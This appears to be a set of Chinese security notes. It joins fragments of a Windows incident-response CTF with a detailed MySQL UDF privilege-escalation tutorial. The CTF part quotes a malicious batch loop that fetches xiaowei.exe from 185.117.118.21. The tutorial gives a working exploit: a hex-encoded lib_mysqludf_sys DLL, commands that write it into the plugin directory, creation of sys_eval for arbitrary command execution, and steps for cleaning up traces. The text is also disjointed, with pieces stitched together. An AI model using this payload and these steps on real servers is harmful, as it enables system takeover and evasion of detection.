影子用户 是黑客常用的持久化后门技术,利用它可以在系统中长期隐匿存在,从而规避检测并维持对系统的访问权限。对于管理员来说,检测并清理影子用户至关重要,需要借助更高级别的分析工具,例如查看注册表或分析事件日志,才能发现这些隐藏的账户。
6.提交远程shell程序的连接IP+端口,以IP:port方式提交

打开注册表
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
看到

放进云沙箱
8、黑客使用了计划任务来定时执行某shell程序,提交此程序名字
打开任务计划程序,发现
点击"操作",发现download.bat
flag{download.bat}
我们顺着路径找过去,选中右键"编辑"打开进行分析;
C:\Windows\zh-CN

简单分析一下;
这段批处理脚本(.bat 文件)是一个自动循环的任务,用于定期从特定的服务器下载一个名为 xiaowei.exe 的文件。脚本通过 Invoke-WebRequest 命令从远程 IP 地址 185.117.118.21 的指定端口 1111 上获取文件,并将其保存到本地的指定目录。
详细分析:
@echo off
隐藏命令行输出,防止命令的内容显示在控制台中,保持界面的整洁。
:loop
这是一个标签,标记了脚本循环的开始位置。goto 命令会跳转到该标签,从而形成一个循环。
echo Requesting download from 185.117.118.21:1111/xiaowei.exe...
start /b powershell -Command "Invoke-WebRequest -Uri 'http://185.117.118.21/xiaowei.exe' -OutFile 'C:\Windows\system64\systemWo\xiaowei.exe'"
使用 PowerShell 的 Invoke-WebRequest 命令从远程服务器下载文件:
http://185.117.118.21:1111/xiaowei.exe 是文件的下载 URL。
C:\Windows\system64\systemWo\xiaowei.exe 是文件保存到本地的路径。
start /b 会在后台运行该命令,避免阻塞脚本的执行。
timeout /t 300 /nobreak >nul
设置脚本等待 300 秒(5 分钟),在此期间不会中断。>nul 表示抑制命令的输出,不显示倒计时。
goto loop
命令将脚本跳回到 :loop 标签处,重新执行下载请求,形成一个无限循环。
总结:
这个脚本定期(每 5 分钟)尝试从远程服务器 185.117.118.21 的端口 1111 下载一个名为 xiaowei.exe 的文件,并将其保存到本地的 C:\Windows\system64\systemWo\ 目录中。
例题二
windows evtx:

提示是1.安装程序------Installer(查找)

看到一个base64编码
cGljb0NURntFdjNudF92aTN3djNyXw==
picoCTF{Ev3nt_vi3wv3r_
3
"每次系统引导且用户登录时,计算机关闭前都会短暂出现黑色命令提示符"

直接去搜 "shutdown1074"

可看到base64编码
UDF提权
一、简介
UDF(user defind function)用户自定义函数,通过添加新函数,对MySQL的功能进行扩充。调用方式与一般系统自带的函数相同,例如user(),version()等函数。
udf 文件后缀在windows与linux系统下分别为dll与so,即动态链接库文件,由C、C++编写。
二、利用条件
1、常规情况:
1.1 mysql配置文件secure_file_priv项设置为空,(如果为NULL或/tmp/等指定目录,即无法自定义udf文件导出位置,则无法利用);
1.2 CREATE权限、FILE权限(root用户默认拥有所有权限)。
2、特殊情况:
2.1 INSERT权限、UPDATE权限、DELETE权限。
查看当前数据库用户权限:
select * from mysql.user where user = substring_index(user(), '@', 1)\G;

三、版本特性
udf提权操作中的一个步骤是将我们的udf文件上传到mysql的检索目录中,Windows系统下mysql各版本的检索目录有所不同:
1、 Mysql < 5.0
导出路径随意。
2、 5.0 <= Mysql < 5.1
Win2000导出路径: C:/Winnt/udf.dll
其他Windows系统导出路径均为:C:/Windows/udf.dll或C:/Windows/system32/udf.dll
3、 Mysql >= 5.1
Mysql安装目录的lib\plugin文件夹下,如果mysql安装时不选择完整安装或使用集成开发环境等情况下lib\plugin目录大概率是不存在的,需要自行创建。
四、UDF文件位置
1、sqlmap中:sqlmap\data\udf\mysql
2、metaspliot中:/usr/share/metasploit-framework/data/exploits/mysql

五、操作步骤
1、查看可导出文件位置
show variables like '%secure%';

2、查看当前数据库用户权限
select * from mysql.user where user = substring_index(user(), '@', 1)\G;
3、确认mysql安装位置
select @@basedir as basePath from dual ;
show variables like '%basedir%';
4、通过主机版本及架构确认mysql位数来选用udf文件
此处显示为Windows 64位操作系统(此处应该是32位的win server2003,不知道是不是虚拟机环境的原因显示为64位)![image]
5、查看数据库版本,判断udf文件写入位置。

5.1 mysql大于5.1版本时:
5.1.1 查看 plugin 目录,存在lib\plugin目录且有webshell时,直接上传udf文件。

5.1.2 查看 plugin 目录,存在lib\plugin目录但没有webshell时,则需要以16进制编码写入udf文件。
5.1.2.1 首先将对应版本的udf文件进行16进制编码(sqlmap中的udf文件为防止误杀默认是经过异或编码的,需先使用sqlmap自带的脚本解码)。
5.1.2.1.1 sqlmap udf文件解码
python extra/cloak/cloak.py -d -i data/udf/mysql/windows/32/lib_mysqludf_sys.dll_
5.1.2.1.2 16进制编码udf文件
select hex(load_file('C:\\lib_mysqludf_sys_32.dll')) into dumpfile 'C:\\lib_mysqludf_sys_32.txt';
5.1.2.2 将16进制编码后udf文件使用dumpfile函数写入磁盘(outfile导出文件会在末尾写入新行且转义换行符,破坏二进制文件结构,dumpfile不会进行任何操作)。
select 0x4d5a900..... into dump file "C:\\Program Files\\MySQL\\MySQL Server 5.5\\lib\\plugin\\udf.dll";
5.1.2.3 创建一个表并将二进制数据插入到十六进制编码流
如果在低版本系统环境下(win2003)或部分特殊环境使用mysql命令提示符进行提权操作,由于不同环境下的mysql命令提示符可输入字符最大长度不同(win2003为8191,win10系统为65535),无法使用dumpfile一次性写入全部16进制字符,则需要将udf文件的16进制编码字符先进行切割,再拼接写入到一个表中,最后导出到目标系统。
注意:在进行16进制数据切割时,每段字符的长度要为4的倍数,2进制转为16进制使用取四合一法,如果位数不够会在最高位补0,补0后会破坏原始二进制文件的文件结构导致利用失败,这也是很多人此方法复现失败的原因。
5.1.2.3.1 随便选择一个数据库后,创建一个表
use test;
create table udf(data longblob);

5.1.2.3.2 insert插入第一段数据
点击查看代码
insert into udf(data) values (0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000F80000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000004D477BD0092615830926158309261583005E86830B261583005E808308261583005E968307261583005E91830B2615832EE06E830A2615830926148325261583005E9C8308261583005E878308261583005E8483082615835269636809261583000000000000000000000000000000000000000000000000504500004C0103004AFE9F5A0000000000000000E00002210B010900001000000010000000600000607C0000007000000080000000000010001000000002000005000000000000000500000000000000009000000010000000000000020000000000100000100000000010000010000000000000100000007C83000008020000B4820000C800000000800000B402000000000000000000000000000000000000848500001000000000000000000000000000000000000000000000000000000000000000000000002C7E00004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000600000001000000000000000040000000000000000000000000000800000E0555058310000000000100000007000000010000000040000000000000000000000000000400000E02E7273726300000000100000008000000006000000140000000000000000000000000000400000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E393100555058210D090208B92BCF11B11CEEA24F550000560C000000220000260000A8FFFFFFFF8B4C240833C03901741656578B7C24146A0C59BE000010DCF3A566A55FB0015E5DFB77FBC38B44240C1A6A071611108BF8183218FF63DB6F1CA45FC7011E1200210883380175128B40040DF6776F0700750A1004C6000132C0C3530ABF1DF68D3C3053A454082D08FF30FF15FFF6EE776C885985C075085614C601011BC8568D71018A11FD6FDFFE4184D275F98B54142BCE890A32558BEC8B4D0C833902B7D860BF5374148B7D10915C5453EB4CBF9DBDDF8B417D740F1B707C1BEBE5836004DBB1FFB7001A0C8B48048B008D4401025072A0594C08DFC8D7B5891678113006A44CEB6C57BEB7B2B85F5E5DA30421740833DBB63FF6A8591353568B742410D878534602DB85DB5BB6460851C78D5C4257E8240B75EEEEBFE01400C604070008FF70041E0553B1DB1B921A22C418535720030054090F09B7086A995B0F98599954CF2D343713B8F4540B1EDEB60D818403552251519D35DFFED6FEDF576800F762D66A018945FC068BF08B4560DD7FF70CC606004533FF595939387471683CC071C6FEDFDA9C12260C3BC7745B506A04FF75FC149073E1EDD7A9FD48533AFC8D48911040B963DBFF2BC18BD88D043B505630F8268C5330D8AD8DBD5F03FE570E940DE57DF8463FE6364C2066BA5B1810A4803E0059169EB0FF741A8BC6C64437FF00594D1489C906987BEBD86F183E5F205EC9C3EED7B235DCBAF37D574708C45030087BDBDACDC9C26A4078C710548D4601B9E07E614251724F0856FF31CF6BAFDD9DB694C66AFF8DC32082F63A58B0B6030D092C23005F7CC36E57036C6A081D1290AC0AA88365FC2F6C2F2C2D4592D0EB071B408F65E8C70BBFD66E42FEFF000D1FEDC25E3BFFDB17B60D08209A02F3C3E90806F58BFF56688000002D8C6D675880985608845AA3BDE0FEBB062358045485F675054DAA83260076FBB7DB4508C36F08ED09ACC704240607FF0B4C113637598D71FFCF9C0BBF77DFC9750E39056B107E3CFF7310830B01FBEEC6BB8B0910548B098F57890A23480F85D47D618CBBAD641718068B79040838071B76EDEEBB1E50EB184AA705B8E61768B0B030D8E803A83C0957C1D6BBAEB5D6A1E7E9E2573CA12F4C6A6FF777C3025EFD096A1FEE76EB3CAA10C80475ED7BEFC0C7051F281A70E027071BDFF79D5CB520BC04B81B6A5635B952EB782B7339B2E3696FF7DEFD7340393D155C741C68062809AC43DB6B85850D9E1034252316FFE666F862F154B201DC0801592CC2B1A1DB78049DDFDBF62413D90FD4FC83F80266B16F6CB0D2595BFFA0584B77783BB5783106350F8487C71996EE4CD3543BF81810897D82EFC796BE35FAC87251833F8AF36A7C398587B4F10774E9FFC8D60F7C89C5DB9BB5D955F85615441B474DED5BE38EF88A394D1003D00874B48909437AA36D020C1AD3F8EBA71C3162CC5A64442E386161FB0A58064C32FC19503F1BDF720443375BC9C20CC710FB02231FB2288B2EF28B5D081CAE0FDB9B54E433C95CFC7D2008016C2DC6C23BF15A393A4417E4D61BFE7FAFAE3BF0740583FE02752E1910D03BC1E7166EB8ED57565FD03B5EE40003937B703B67115A039614168012376C7D270A8227FEA0246420575062B30D661327002F527F8DF61AD2061153F76A037543B067BB614F34032168742E2C0D2C3CEC257FEB1B71EC5A09706A7C6FAAE05051597C64825D900EADF62FFA8A19066B8F91B6C72AE490C396EC1640E134A9FF3B246ABB41C1F17926547DBC550C0D381E33BC05BC595D382281EC2832F7869F365F212043211C895E2118891D05F78EC243143C21A2AA210C668C186C5FFBDA3806252C0620080605DD2DCDD20425002D7FFC9C8F7AB6B1F6143095562407042831D6FEDB7F0807348B85E0FCA0AA701DDBB5B395011C1920241318092B18476A565F201CB360C32C9F7B8985D8320A04DC03B557E01B243468DEDFD1F7D8D360CE2879D40A2C833D208DBDC3DA00F923685B1B300BDFAF67F534C97F23401EC25F6A4849918F144A50152E9DF458AAF8A29C10F3EB67611C7E052C37D4598FEDED8321B9273551E0F5EE3BDC0ABF03E4507F4B8417185BDB7E600BCE1CDC142CD6E288B154B609E01B14F413160A4BDB313DDCDBFFDC84676CC859D94E1E07F7D81BF076BBB7C00359485D1656B8BC18BE04A3638B6F2AF83BC673080753025073D85F60835A3BFE72F15F5E25206C6053C820CC006F35B4DD452BB84D5A346627040B85BF2B5E6E413C03C1813850E45FEFA5ECFFFB33D2B90B011C48180F94C28BC25DC33FB702BF35E34831C80FB74114AE057106C1A55B6C33578C081817761BFFFF2FF1D7487BF972098B580803D93BFB720A4283C0283BD67270CA36B5E86AE55DC38F6AFEF0CD71F7A970040B056418005083EC080DB7C670082F316C33C576F0852F06DF64A31A89B90968555DB7F081F0B2091C6B04F555972DD12C937D1350195C083B04E1C26F2724C1E81FF715E0018FEFB6532B034F230059948BE55DC3621DDB49A301CA3DAFC0FAE99525242631CCFF29343232B61058054C50AC2CB41E97AF12B60D56096B27D7616B20CFB0FBEF2AE4E03160031F73D9665B9A6C038D2BE0FAFC046BA039F13CB4FC8A0D6C120C7D0DC395C3C1619C965154147FE41F3E783124F020140BDAC40E5643B25D53EC1068F885626DF4F888C9BF4EE640BB25EEA0398466820D85C33149DB9F0A359A04EB605675F869639FC1F6448B7598751F1033F0071476E6CA20189D271CB4F6EE6FEDF4330C113BF77507BE4F59EB0B85F30A7B047EA10AC1E0100BF0CE00F7D6076C840D1E045E5F01C33F5C05646464646064686C1405766474B000003FF4C20E034B0F20185F4E6F20FFFFB7FF617267756D656E7473096C6C6F77656420287564663A206C69625F6DCCFD6DF77973716C0D5F73085F696E666F293918DFB6FF8F2076657273696F6E20302E01341F45787065F6DBDBDD637447657861076C79201A65207374723F5BDB5AFB672074791B75726171217258C00E602B7477911FD86F030B3F8672206E616D48DBB1B71F436F756C246E6F74C4636113203058B76D186D2779AF72F1483FDA4D943F2003121071051BF29D5860214707D0604D0D0B0F81CB074ED961DD9703AB17CC2708A77527ECC00FD81F0A3B034FC0A07B851F03240328C1556583A200C5889251CA22D877BDB119BF44FF000F5565A3AA00A8AA9251645455C95532AAAAFFF61D455C0410020157616974466F00FC06C07253886C654F626A07C07F6B99145669727475616C417603E0F6370D536574456E76126F6EC000BC6DBF5661726961622B4118437265F76DEB6E94546806640D47264375727222CD12F65B502A636573734914266E03E083135469636BDE6E6BB1F6B6FD5175657279500366846D616E371667EF1B00FD0144697367374CFDB7EDED6962727879436192731A4973446562756767EDEE6DAD266A686546A4556E6840B1B7B7B7643164457846707469AF46696C4A6D295B6119B41254DE64AEB0176D0DD8114990B9EDD61A0A6B409D6D70876547C25A73CD517F77555122B4ED6E591B5C537973186DEEC3C2EB2E39417373650975697CDB15DA434C7D5F687E396D5F2EDFFEDEBE5F616D7367087869740B646A753A5F666469EC4217B076260A639A5F64FD6CADB91F5F686F6F6B131459725FF802700148D15FDB9CEB0249730A330A6C21D6F0BD82539C2A64D46E640893050B130F651E6B5B7BC25F2C723456ED6D1C182FF6D69A700A035F706F522947E1DDBE6E106468756C5EB92A6BCB92BD9B1B2CA806E0B6D86E6EC57265250866112E827BDB5673749C637079082439EDCD5C6B32C06E4D0FD7ED1F5AC36F7319663A1F5F4370705831C75E3B8474BC6D343F001817FFFFFFFF3D193C1C1B161E55142D16270815270F11115F10130A070D2E17090705160C1E7FFBFFFF080A0B160918181505061B050C10060717062105110F061421110B08E4FBDFB62B22052A111D0D18532D483806000776FBDBE5080C09330A090B0C051007061612EEDFFEED0E0B34150B18160D3D0542C205121E14066930FFD8DDFF110C0E1D4D0517230D0C3224080B4506F0DE041004F03B0A6EFF2C01043808041C1C0204003E4C016DFF21FD05004AFE9F5A8FE00002210B0109080C634F7AD60C1213D616A300);
**5.1.2.3.2 update拼接剩余数据** 点击查看代码
update udf set data = concat(data,0x200E10C10A01630B02AB3362B7EE6107006003040233351EEED9C0CE34100706C02633D6EDDB7620AC22033C144002B0021C5759DD0050520143C8C8BA65B1214200A7B82F06DB5D182EB4787407EA0B900C5BFA90CDB742602E72647D610861C90E76C508FB0A00C700A1DB66BB77402E26300304301BECDB943D001A27C04F73726300EB11C0061B40731C4F78C2C2A365761F01030002ED7760497B27421BA023030000EDD8D152127C53030400000000000080FF00000000000000000000807C2408010F85B901000060BE007000108DBE00A0FFFF5783CDFFEB0D9090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B92A0000008A07472CE83C0177F7803F0075F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE005000008B0709C0743C8B5F048D8430B472000001F35083C708FF96F0720000958A074708C074DC89F95748F2AE55FF96F472000009C07407890383C304EBE16131C0C20C0083C7048D5EFC31C08A074709C074223CEF771101C38B0386C4C1C01086C401F08903EBE2240FC1E010668B0783C702EBE28BAEF87200008DBE00F0FFFFBB0010000050546A045357FFD58D871702000080207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E9AD98FFFF0000004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030001010220010010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005C80000056020000E404000000000000584000003C617373656D626C7920786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E763122206D616E696665737456657273696F6E3D22312E30223E0D0A20203C7472757374496E666F20786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E7633223E0D0A202020203C73656375726974793E0D0A2020202020203C72657175657374656450726976696C656765733E0D0A20202020202020203C726571756573746564457865637574696F6E4C6576656C206C6576656C3D226173496E766F6B6572222075694163636573733D2266616C7365223E3C2F726571756573746564457865637574696F6E4C6576656C3E0D0A2020202020203C2F72657175657374656450726976696C656765733E0D0A202020203C2F73656375726974793E0D0A20203C2F7472757374496E666F3E0D0A20203C646570656E64656E63793E0D0A202020203C646570656E64656E74417373656D626C793E0D0A2020202020203C617373656D626C794964656E7469747920747970653D2277696E333222206E616D653D224D6963726F736F66742E564339302E435254222076657273696F6E3D22392E302E32313032322E38222070726F636573736F724172636869746563747572653D2278383622207075626C69634B6579546F6B656E3D2231666338623362396131653138653362223E3C2F617373656D626C794964656E746974793E0D0A202020203C2F646570656E64656E74417373656D626C793E0D0A20203C2F646570656E64656E63793E0D0A3C2F617373656D626C793E504100000000000000000000000010830000F08200000000000000000000000000001D83000008830000000000000000000000000000000000000000000028830000368300004683000056830000648300000000000072830000000000004B45524E454C33322E444C4C004D5356435239302E646C6C00004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F7465637400005669727475616C416C6C6F6300005669727475616C467265650000006672656500000000000000004AFE9F5A0000000058840000010000001200000012000000A4830000EC8300003484000021100000A312000000100000A4120000A3120000A0120000CC110000A31200009811000086110000A31200009811000076100000A3120000431000002E1100001A110000A91000006D84000083840000A0840000BB840000C7840000DA840000EB840000F484000004850000128500001B8500002B8500003985000041850000508500005D850000658500007485000000000100020003000400050006000700080009000A000B000C000D000E000F00100011006C69625F6D7973716C7564665F7379732E646C6C006C69625F6D7973716C7564665F7379735F696E666F006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F5F696E6974007379735F62696E6576616C007379735F62696E6576616C5F6465696E6974007379735F62696E6576616C5F696E6974007379735F6576616C007379735F6576616C5F6465696E6974007379735F6576616C5F696E6974007379735F65786563007379735F657865635F6465696E6974007379735F657865635F696E6974007379735F676574007379735F6765745F6465696E6974007379735F6765745F696E6974007379735F736574007379735F7365745F6465696E6974007379735F7365745F696E69740000000000700000100000006D3C683E6C3E0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000);
5.1.2.3.3 导出表中数据到系统磁盘
select data from udf into dumpfile "C:\\Program Files\\MySQL\\MySQL Server 5.5\\lib\\plugin\\udf.dll";
5.1.3 查看 plugin 目录,不存在 lib\plugin目录但有webshell,可使用webshell创建lib\plugin目录。
5.1.4 查看 plugin 目录,不存在 lib\plugin目录也没有webshell,此时就要使用网传ADS文件流创建目录的方法了,上次听到这个名词还是在做upload-labs靶场的时候。
ADS文件流是NTFS文件系统为了能与Mac系统下的HFS文件系统兼容而设计出的。
经实践在命令提示符下使用ADS文件流是可以成功创建目录或者文件名的,但在独立安装的mysql数据库环境与phpstudy自带mysql环境下均创建失败,并且查阅网上各种文章也都是没有利用成功的,严重怀疑是哪位小可爱臆想出来的,但为了文章完整性还是决定写出来。
命令提示符下成功:
echo 123 >D:\phpstudy\PHPTutorial\MySQL\lib::$INDEX_ALLOCATION

Mysql数据库中报错:
select "123" into dumpfile "D:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION";

5.2 mysql小于5.1版本时:
5.2.1 有webshell时,通过webshell上传udf文件。
5.2.2 无webshell时,使用dumpfile通过16进制数据流写入udf文件。
6、创建命令执行函数
使用winhex打开udf文件,在最下方可以看到udf文件提供的函数。
sys_eval,执行任意系统命令,并将输出返回。
sys_exec,执行任意系统命令,并将退出码返回(无命令执行结果回显)。
create function sys_eval returns string soname 'udf.dll';

7、命令执行
select sys_eval("whoami");

六、痕迹清除
1、删除表
drop table udf;
2、删除函数
drop function sys_eval;
七、其他问题
1、ERROR 1125 (HY000): Function 'sys_eval' already exists
提示sys_eval 函数已经存在,可能已经被利用过了,尝试直接调用函数。

2、提示sys_eval 函数已经存在,但无法利用
尝试将udf提权相关的利用函数进行删除后重新创建
3、创建sys_eval 函数时提示已经存在,但利用与删除时提示 sys_eval
函数不存在(实战无法解决,漏洞复现可以)。**
原因是上一个人利用过后,数据库进行了重启。
之后重启mysqld服务器,再创建就可以了。
4、ERROR 1126 (HY000): Can't open shared library 'udf.dll' (errno: 193 )
在进行udf提权时碰到这个错误一般是ufd文件位数选择错误,尝试另一个位数的udf文件。